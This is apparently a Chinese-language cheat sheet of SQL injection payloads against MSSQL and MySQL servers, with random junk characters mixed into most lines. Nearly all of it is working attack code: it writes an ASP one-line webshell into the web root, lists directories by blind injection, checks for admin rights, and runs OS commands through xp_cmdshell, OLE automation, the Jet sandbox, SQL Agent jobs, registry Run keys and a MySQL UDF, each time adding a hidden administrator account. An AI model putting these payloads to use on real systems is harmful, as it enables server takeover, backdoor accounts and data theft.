MSSQL语句导出一句话木马& W! r: @0 w5 _8 y) L+ _" _
首先确定网站的WEB路径1 T9 L; n$ t* C; L
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马+ j5 }* k' z8 N5 n+ p$ J- f, d2 I
9 M) A7 A/ L- R- j4 B: b1 ^6 J;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
! I* H X$ W% d" a2 R% {; k; Q' ?//将一句话木马插入表中8 L- { W% ]2 P+ q; Y$ x# O* M& p+ [
: p" C) U6 M* o6 L7 H% L, G;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- ; |/ q% _% ?% B1 ]3 }# X
//导出一个ASP文件
: G: c4 l) D5 r8 |; k" D* X# H" z4 m
$ Y/ j, i1 m7 I i0 D! ? J# i8 ^2 T; w* R
关于MSSQL列目录6 g. Y# H2 @* d9 D# n9 I
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表1 E5 {: {7 L; ~ U7 J- c; X
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
$ B% K2 \1 Q2 o, J% Q6 f2 I
: Y- S2 ]1 P$ R, G( r* [and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
, w3 s% I! H; \8 U7 ?3 f7 W2 m1 I7 w% A i/ w. G; e( Y+ _0 m
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
7 L4 d1 R* W0 x) j Z& W$ B9 m: L& Q, Q) W, G$ x9 p
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
- V+ S( J" ^ r. }& g
+ O# X; N. z: Z9 Q) q) g1 d" P* |" I) @' s% B6 W* W5 z, {
数据库版本和权限查看
' e# Y4 l& v* L0 b6 Z6 Pand 1=(select @@VERSION) //查看详细的数据库信息.9 j5 F0 P) O* y4 n( h
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA: l9 t! X& T- l. n+ O
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER. `( a* S% m6 k$ l7 d1 v" f
( m" v! D3 Q% {$ e1 y, [
4 ?5 i9 i) V) ]; ]: y# r {& v% V
1.利用xp_cmdshell执行命令
, [6 j, G4 M% \) Eexec master..xp_cmdshell 'net user rfire 123456 /add'
# h2 A0 I; C# f( Yexec master..xp_cmdshell 'net localgroup administrators rfire /add': C3 s6 x7 V6 \9 U5 f _" K% @8 H
2 \. u/ `8 \+ h* O* C) B( I
恢复xp_cmdshell存储过程( b- }3 k) A4 e) _2 S
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
4 g9 S2 \/ A- G! T8 n4 j& u5 d: d: v a8 n
- w& d5 c1 E# s6 B' s! n2.利用SP_OAcreate和SP_OAMETHOD执行命令& K' ?2 A" L& H" ~' A
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下$ Z: K" i& B. M a
DECLARE @shell INT //建立一个@shell实体. W2 G) Z3 Q0 ^
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
2 f5 k. b6 A4 Y7 H; GEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
, S3 a2 S1 U0 F# u
3 ?4 [& ^, z; T- S. S, O* d$ Q' C' L6 {4 G2 H- z \* m0 u( W% c
3.利用沙盒模式
I2 I+ V, r/ {! W5 g5 O5 K先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
5 q( {, P& R, E& ?& A* @4 Z开启沙盒模式:
8 @# g+ n! Z3 ~ J J- O. D9 HEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
! ~1 E) g: U8 M' i% j: |5 l8 P$ Y* y' A4 H( N6 E
执行命令:
6 @4 s% N$ P6 C) k uSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
7 h6 M" s9 K! r
$ D" s4 K: \$ Z4 I7 o3 {7 d; l) Q7 v6 [2 u6 x; n
4.利用SQL代理执行命令# z2 ]: U d+ L2 C0 O$ ?/ Q1 v. [
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务& {% O1 X! p- i, i* Y9 y
% }' K1 \3 {- M" S* F: l: T$ `$ {# l5 j
执行命令:* c5 X' x. Y( d6 [2 W
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
+ x# q, w+ I% I- xexec sp_add_job 'x'
! N: L) E) `7 g& f$ t' S& K/ K. {! Uexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
8 \# s7 _( r$ ]' u& vexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
' }; l; v1 q7 w
& d# p. ^+ I* L
" P7 u: H, d. D3 v# c3 N5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)8 n6 A' T- x$ Z& ~8 A* j' S
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
- u+ T, o' ]* r$ t6 a3 A0 ] \4 X- u. F6 r+ |
& a( u! o* {, f" ^7 r P2 Z
6.MYSQL的命令执行
: q1 u/ i# j- iMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
{* R, E4 G9 _# m首先要在su.php下导出c:\windows\udf.dll7 o) W: `( j4 x2 i3 q: O3 g3 U4 v; U6 P
导出后执行创建自定义函数命令:
8 l1 |0 e7 U- I" j: ^Create Function cmdshell returns string soname 'udf.dll'. _. `. _% L/ _4 A3 h/ J8 A# R8 \% y
执行命令
2 }. O6 F# Q! H% o+ f, \select cmdshell('net user rfire 123456 /add')
$ C0 @3 m: u. G5 e" F1 e; N执行后删除函数 drop function cmdshell2 x, N" I6 p0 \8 X/ Q1 z7 Q: o
|